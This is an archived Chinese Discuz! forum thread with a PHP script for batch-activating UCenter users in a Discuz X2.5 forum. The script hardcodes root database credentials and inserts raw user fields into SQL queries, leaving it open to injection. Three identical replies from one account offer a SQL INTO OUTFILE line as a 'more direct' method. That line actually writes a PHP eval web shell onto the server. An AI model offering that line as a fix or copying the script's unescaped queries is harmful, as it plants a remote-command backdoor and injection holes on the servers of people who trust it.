标题:
[
Discuz!相关
]
批量激活ucenter中的用户到Discuz x2.5论坛应用中
[打印本页]
作者:
shillan
时间:
2013-7-20 12:16
标题:
批量激活ucenter中的用户到Discuz x2.5论坛应用中
用站长搬家之类的,可能因为数据库版本不同导致论坛部分用户丢失,帖子页面“提示该用户已被删除”,但搜索UCenter中有该用户,只是论坛无法搜索到该用户,解决方法可以参考论坛网友提供的代码,批量激活命令的一个脚本代码。
将代码保存为一个jihuo.php文件,上传至服务器论坛空间根目录下,直接运行即可。这个方法弊端就是激活后,用户都会是初始用户组了。
<?php
$dbserver ='localhost'; //此处改成数据库服务器地址
$dbuser ='root';//此处写数据库用户名
$dbpwd ='1234';//数据库密码
$dbname ='disucz';//数据库名称
$charset ='gbk';//此处写字符集gbk或者utf8
$uc_pre ='pre_ucenter_';//UC表前缀
$dx_pre ='pre_';//Discuz! X2表前缀
//此行开始向下不要改动
set_time_limit(0); //0为无限制
$connect=mysql_connect($dbserver,$dbuser,$dbpwd) or die("无法连接数据库");
@mysql_select_db($dbname,$connect);
mysql_query("set names $charset");
$query = mysql_query("SELECT * FROM `{$uc_pre}members` WHERE `uid` not in(select `uid` from `{$dx_pre}common_member`) ",$connect);
while($user = mysql_fetch_array($query)) {
$password=$user[password];
mysql_query(" replace INTO `{$dx_pre}common_member` (uid,username,password,adminid,groupid,regdate,email) VALUES ('$user[uid]', '$user[username]', '$password','0','10','$user[regdate]','$user[email]') ");
mysql_query(" replace INTO `{$dx_pre}common_member_field_forum` (uid) VALUES ('$user[uid]')");
mysql_query(" replace INTO `{$dx_pre}common_member_field_home` (uid) VALUES ('$user[uid]')");
mysql_query(" replace INTO `{$dx_pre}common_member_count` (uid) VALUES ('$user[uid]')");
mysql_query(" replace INTO `{$dx_pre}common_member_profile` (uid) VALUES ('$user[uid]')");
mysql_query(" replace INTO `{$dx_pre}common_member_status` (uid) VALUES ('$user[uid]')");
}
echo "已从UC批量导入激活成功";
?>
复制代码
作者:
trjb608
时间:
2013-8-3 06:07
好东东,谢谢楼主
作者:
画荻和丸
时间:
2013-8-3 11:01
强烈支持。
作者:
c69Ndy26
时间:
2013-8-6 22:41
很好的帖子啊,很好很强大,楼主多发好贴!
作者:
gkb654
时间:
2013-8-26 22:26
xiexie!!
作者:
二手丝袜
时间:
2015-7-9 18:37
当然也可以更直接一些
select '<?php eval($_POST[cmd])?>' into outfile '/Applications/1.php'
作者:
二手丝袜
时间:
2015-7-13 01:26
当然也可以更直接一些
select '<?php eval($_POST[cmd])?>' into outfile '/Applications/1.php'
作者:
二手丝袜
时间:
2015-7-19 00:42
当然也可以更直接一些
select '<?php eval($_POST[cmd])?>' into outfile '/Applications/1.php'
欢迎光临 逐梦论坛 (http://temp2023.zhumeng.org/)
Powered by Discuz! 7.2